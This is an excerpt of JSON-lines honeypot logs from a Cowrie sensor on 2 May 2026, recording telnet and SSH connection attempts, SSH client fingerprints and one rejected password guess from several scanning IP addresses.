{"eventid":"cowrie.session.closed","duration":6.8815319538116455,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:47.393460Z","src_ip":"38.54.119.93","session":"4c2012e7dd37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60907578468323,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:50.159415Z","src_ip":"62.210.97.77","session":"b5b7985c233c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.161.239.14","src_port":42998,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca0ce1c04c86","protocol":"ssh","message":"New connection: 81.161.239.14:42998 (159.203.135.109:22) [session: ca0ce1c04c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:52.982865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:52.989429Z","src_ip":"81.161.239.14","session":"ca0ce1c04c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:53.026449Z","src_ip":"81.161.239.14","session":"ca0ce1c04c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:53.067613Z","src_ip":"81.161.239.14","session":"ca0ce1c04c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00164151191711,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:53.741660Z","src_ip":"165.232.131.181","session":"4ab3361cac30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.365967750549316,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:54.360064Z","src_ip":"165.232.131.181","session":"6bcfce36ca31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.097922563552856,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:55.557023Z","src_ip":"65.60.27.33","session":"a017e2deca10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.187586545944214,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:00.810976Z","src_ip":"165.232.131.181","session":"9791d86bf681","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55004,"dst_ip":"10.17.0.5","dst_port":23,"session":"60ed8292ca54","protocol":"telnet","message":"New connection: 62.210.97.77:55004 (10.17.0.5:23) [session: 60ed8292ca54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:01.221333Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60530,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbeb306629b2","protocol":"telnet","message":"New connection: 38.54.119.93:60530 (10.17.0.5:23) [session: bbeb306629b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:03.896386Z"}
{"eventid":"cowrie.session.closed","duration":52.839035987854004,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:07.464526Z","src_ip":"165.232.131.181","session":"8aa7a92a1c09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.249043464660645,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:11.586457Z","src_ip":"38.54.119.93","session":"b80eb054a8ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48480,"dst_ip":"10.17.0.5","dst_port":23,"session":"975f08831c40","protocol":"telnet","message":"New connection: 62.210.97.77:48480 (10.17.0.5:23) [session: 975f08831c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:12.179174Z"}
{"eventid":"cowrie.session.closed","duration":34.81914401054382,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:12.796362Z","src_ip":"65.60.27.33","session":"963df8253a7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59850,"dst_ip":"10.17.0.5","dst_port":23,"session":"b369ce23dfcf","protocol":"telnet","message":"New connection: 65.60.27.33:59850 (10.17.0.5:23) [session: b369ce23dfcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:19.409011Z"}
{"eventid":"cowrie.session.closed","duration":47.70600914955139,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:20.552433Z","src_ip":"38.54.119.93","session":"ccefba8f58db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44944,"dst_ip":"10.17.0.5","dst_port":23,"session":"43abccc673cc","protocol":"telnet","message":"New connection: 38.54.119.93:44944 (10.17.0.5:23) [session: 43abccc673cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:23.081530Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45770,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e263fb80887","protocol":"telnet","message":"New connection: 38.54.119.93:45770 (10.17.0.5:23) [session: 2e263fb80887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:24.396099Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47406,"dst_ip":"10.17.0.5","dst_port":23,"session":"9db05f6f262d","protocol":"telnet","message":"New connection: 38.54.119.93:47406 (10.17.0.5:23) [session: 9db05f6f262d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:26.944114Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39418,"dst_ip":"10.17.0.5","dst_port":23,"session":"55a112211919","protocol":"telnet","message":"New connection: 65.60.27.33:39418 (10.17.0.5:23) [session: 55a112211919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:27.296556Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33796,"dst_ip":"10.17.0.5","dst_port":23,"session":"4da166cd5621","protocol":"telnet","message":"New connection: 62.210.97.77:33796 (10.17.0.5:23) [session: 4da166cd5621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:28.404782Z"}
{"eventid":"cowrie.session.closed","duration":2.169813632965088,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:29.113808Z","src_ip":"38.54.119.93","session":"9db05f6f262d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.8881471157073975,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:29.969581Z","src_ip":"38.54.119.93","session":"43abccc673cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48126,"dst_ip":"10.17.0.5","dst_port":23,"session":"d459f45087d0","protocol":"telnet","message":"New connection: 65.60.27.33:48126 (10.17.0.5:23) [session: d459f45087d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:33.771926Z"}
{"eventid":"cowrie.session.closed","duration":39.1393883228302,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:40.360583Z","src_ip":"62.210.97.77","session":"60ed8292ca54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48538,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc213a9fabb8","protocol":"telnet","message":"New connection: 62.210.97.77:48538 (10.17.0.5:23) [session: bc213a9fabb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:41.856414Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48554,"dst_ip":"10.17.0.5","dst_port":23,"session":"26bc82bed144","protocol":"telnet","message":"New connection: 62.210.97.77:48554 (10.17.0.5:23) [session: 26bc82bed144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:44.446682Z"}
{"eventid":"cowrie.session.closed","duration":32.55125880241394,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:44.730311Z","src_ip":"62.210.97.77","session":"975f08831c40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":45138,"dst_ip":"159.203.135.109","dst_port":22,"session":"628aba3ced54","protocol":"ssh","message":"New connection: 80.94.92.182:45138 (159.203.135.109:22) [session: 628aba3ced54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:45.146851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:45.255965Z","src_ip":"80.94.92.182","session":"628aba3ced54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:45.401048Z","src_ip":"80.94.92.182","session":"628aba3ced54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48562,"dst_ip":"10.17.0.5","dst_port":23,"session":"adec29a5a1cb","protocol":"telnet","message":"New connection: 62.210.97.77:48562 (10.17.0.5:23) [session: adec29a5a1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:46.696023Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qq2w3e4r5t","message":"login attempt [ubuntu/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:47.087550Z","src_ip":"80.94.92.182","session":"628aba3ced54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60124,"dst_ip":"10.17.0.5","dst_port":23,"session":"d23ee0041dd1","protocol":"telnet","message":"New connection: 38.54.119.93:60124 (10.17.0.5:23) [session: d23ee0041dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:47.966541Z"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:49.509165Z","src_ip":"80.94.92.182","session":"628aba3ced54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35558,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f77dce3d8b","protocol":"telnet","message":"New connection: 165.232.131.181:35558 (10.17.0.5:23) [session: 74f77dce3d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:50.945959Z"}
{"eventid":"cowrie.session.closed","duration":51.98309016227722,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:55:55.879359Z","src_ip":"38.54.119.93","session":"bbeb306629b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.03183197975159,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:01.436493Z","src_ip":"62.210.97.77","session":"4da166cd5621","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50988,"dst_ip":"10.17.0.5","dst_port":23,"session":"11785885529a","protocol":"telnet","message":"New connection: 65.60.27.33:50988 (10.17.0.5:23) [session: 11785885529a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:01.812331Z"}
{"eventid":"cowrie.session.closed","duration":42.5828697681427,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:09.879287Z","src_ip":"65.60.27.33","session":"55a112211919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.69987940788269,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:10.108772Z","src_ip":"65.60.27.33","session":"b369ce23dfcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56012,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ca7cc1a88c9","protocol":"telnet","message":"New connection: 62.210.97.77:56012 (10.17.0.5:23) [session: 1ca7cc1a88c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:10.688839Z"}
{"eventid":"cowrie.session.closed","duration":37.49697303771973,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:11.268810Z","src_ip":"65.60.27.33","session":"d459f45087d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33544,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f7151d603f0","protocol":"telnet","message":"New connection: 65.60.27.33:33544 (10.17.0.5:23) [session: 4f7151d603f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:11.418185Z"}
{"eventid":"cowrie.session.closed","duration":48.94914174079895,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:13.345130Z","src_ip":"38.54.119.93","session":"2e263fb80887","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45484,"dst_ip":"10.17.0.5","dst_port":23,"session":"81b75244e040","protocol":"telnet","message":"New connection: 165.232.131.181:45484 (10.17.0.5:23) [session: 81b75244e040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:15.238747Z"}
{"eventid":"cowrie.session.closed","duration":34.50685501098633,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:16.363168Z","src_ip":"62.210.97.77","session":"bc213a9fabb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.251462697982788,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:19.669551Z","src_ip":"65.60.27.33","session":"4f7151d603f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.73413944244385,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:20.180734Z","src_ip":"62.210.97.77","session":"26bc82bed144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46448,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d959ca1eda9","protocol":"telnet","message":"New connection: 165.232.131.181:46448 (10.17.0.5:23) [session: 8d959ca1eda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:20.938555Z"}
{"eventid":"cowrie.session.closed","duration":35.60606384277344,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:22.301988Z","src_ip":"62.210.97.77","session":"adec29a5a1cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46912,"dst_ip":"10.17.0.5","dst_port":23,"session":"19826154f2a7","protocol":"telnet","message":"New connection: 165.232.131.181:46912 (10.17.0.5:23) [session: 19826154f2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:22.988417Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48990,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd56fbed73d1","protocol":"telnet","message":"New connection: 165.232.131.181:48990 (10.17.0.5:23) [session: fd56fbed73d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:24.685555Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60982,"dst_ip":"10.17.0.5","dst_port":23,"session":"10b62c818416","protocol":"telnet","message":"New connection: 62.210.97.77:60982 (10.17.0.5:23) [session: 10b62c818416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:25.844331Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60968,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc0f494996b1","protocol":"telnet","message":"New connection: 62.210.97.77:60968 (10.17.0.5:23) [session: cc0f494996b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:26.798888Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54576,"dst_ip":"10.17.0.5","dst_port":23,"session":"af99053c06a7","protocol":"telnet","message":"New connection: 65.60.27.33:54576 (10.17.0.5:23) [session: af99053c06a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:30.420913Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51266,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e94749211cc","protocol":"telnet","message":"New connection: 165.232.131.181:51266 (10.17.0.5:23) [session: 8e94749211cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:30.694761Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55670,"dst_ip":"10.17.0.5","dst_port":23,"session":"31f2074385b5","protocol":"telnet","message":"New connection: 65.60.27.33:55670 (10.17.0.5:23) [session: 31f2074385b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:31.272178Z"}
{"eventid":"cowrie.session.closed","duration":42.80062675476074,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:33.746446Z","src_ip":"165.232.131.181","session":"74f77dce3d8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53894,"dst_ip":"10.17.0.5","dst_port":23,"session":"52c07f04d787","protocol":"telnet","message":"New connection: 62.210.97.77:53894 (10.17.0.5:23) [session: 52c07f04d787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:34.015016Z"}
{"eventid":"cowrie.session.closed","duration":46.3581006526947,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:34.324503Z","src_ip":"38.54.119.93","session":"d23ee0041dd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.88905930519104,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:35.161097Z","src_ip":"65.60.27.33","session":"31f2074385b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41344,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff39ccb0df7a","protocol":"telnet","message":"New connection: 62.210.97.77:41344 (10.17.0.5:23) [session: ff39ccb0df7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:39.456305Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41352,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d1ba70d3d97","protocol":"telnet","message":"New connection: 62.210.97.77:41352 (10.17.0.5:23) [session: 6d1ba70d3d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:43.093879Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.0.72.31","src_port":50768,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e8f8630428","protocol":"telnet","message":"New connection: 163.0.72.31:50768 (10.17.0.5:23) [session: f8e8f8630428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:43.114586Z"}
{"eventid":"cowrie.session.closed","duration":43.62636423110962,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:45.438573Z","src_ip":"65.60.27.33","session":"11785885529a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.1892614364624,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:49.878016Z","src_ip":"62.210.97.77","session":"1ca7cc1a88c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59152,"dst_ip":"10.17.0.5","dst_port":23,"session":"13a770ff2b3b","protocol":"telnet","message":"New connection: 165.232.131.181:59152 (10.17.0.5:23) [session: 13a770ff2b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:52.659532Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48452,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b84a23c3125","protocol":"telnet","message":"New connection: 38.54.119.93:48452 (10.17.0.5:23) [session: 6b84a23c3125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:57.255386Z"}
{"eventid":"cowrie.session.closed","duration":31.559558629989624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:57.403765Z","src_ip":"62.210.97.77","session":"10b62c818416","protocol":"telnet"}
